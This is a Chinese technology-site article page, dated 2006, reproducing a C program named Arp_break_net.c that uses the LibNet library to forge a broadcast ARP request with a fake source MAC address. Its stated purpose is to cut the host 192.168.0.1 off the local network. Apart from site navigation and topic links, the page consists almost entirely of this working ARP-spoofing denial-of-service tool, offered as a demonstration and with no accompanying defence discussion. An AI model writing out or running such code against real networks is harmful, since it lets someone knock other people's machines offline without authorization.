频道直达 - 专题 - 新闻 - 技巧 - 组网 - 开发 - 安全 - web编程 - 图像 - 操作系统 - 数据库 - 教育 - 旅游 - 健康 - 时尚 - 驱动 - 软件 - 游戏 - 多媒体 - ERP - 讨论组

动态ARP可导致整个TCP/IP网络中断

来源:安全焦点 作者: 出处:巧巧读书 2006-08-08 进入讨论组
关 键 词:arp  ip地址  tcp/ip  ip网络  mac地址  

  程序名:Arp_break_net.c
  用途 :演示通过ARP数据包使网络中的某主机无法连接网络
   演示中192.168.0.1 将无法连接进入网络
  编写 :cloud
  时间 :2001-2-11
  其他 :程序依赖LibNet
  */
  
  #include
  
  u_char enet_src[6] = {0,0,0,0}; //源MAC地址 (伪造的一个不存在MAC地址)
  u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
  //目标MAC地址(广播地址)
  u_char ip_src[4] = {192,168,0,1};
  //源IP地址 (被踢出网络的IP地址)
  u_char ip_dst[4] = {192,168,0,255};
  //目标IP地址 (随便一个IP地址)
  
  int main(int argc, char *argv[])
  {
   int c;
   char errbuf[256];
   char *device = "eth0"; //数据包从第一个网卡发送出去
   struct libnet_link_int *l;
  
  
   l = libnet_open_link_interface(device, errbuf); //打开设备
   if (!l)
   {
   fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
   exit(EXIT_FAILURE);
   }
   c = send_arp(l, device); //发送ARP数据包
  
   return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
  }
  
  
  int send_arp(struct link_int *l, u_char *device)
  {
   int n;
   u_char *buf;
  
   if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)
   {
   perror("libnet_init_packet memory:");
   exit(EXIT_FAILURE);
   }
  
   /*
   * 构造以太数据包头部信息
   */
   libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
  
   /*
   * 构造ARP数据包头部信息
   */
   libnet_build_arp(ARPHRD_ETHER,
   ETHERTYPE_IP,
   6,
   4,
   ARPOP_REQUEST,
   enet_src,
   ip_src,
   enet_dst,
   ip_dst,
   NULL,
   0,
   buf + ETH_H);
  
   n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H); //发送数据包
  
   printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype);
  
   libnet_destroy_packet(&buf);
   return (n);
  } 更多文章 更多内容请看ARP攻击防范与解决方案  TCP/IP协议  TCP/IP协议专题,或进入讨论组讨论。
收藏此文】【 】【打印】【关闭
较早的文章:CGI拒绝服务攻击技术浅析

较新的文章:被动特征探测
相关图文阅读
频道图文推荐
健 康 咨 询
时 尚 咨 询
巧巧读书宗旨
相关专题
·网络管理实用手册 (18584篇文章)
·网络故障手册 (11338篇文章)
·网络组网专题 (9595篇文章)
·网络建设 (10985篇文章)
·ARP攻击防范与解决方案 (1416篇文章)
·TCP/IP协议 (1619篇文章)
·TCP/IP协议应用 (115篇文章)
·TCP/IP协议相关文章 (241篇文章)
·TCP/IP协议 (241篇文章)
热点标签: arp  ip地址  tcp/ip  ip网络  mac地址  
最新论坛文章
站内各频道最新更新文档
站内最新制作专题
热门关键字导读
Photoshop教 程照片处理 照片制作 PS快捷键 抠图
计 算 机 故 障XP系统修复
艺 术 与 设 计设计 流媒体 设计欣赏 边框
计 算 机 安 全ARP
站内频道文章精选
百度推荐,商机无限
搜索您感兴趣的内容
 
Web 本站
巧巧电脑频道编辑信箱  告诉我们您想看的专题或文章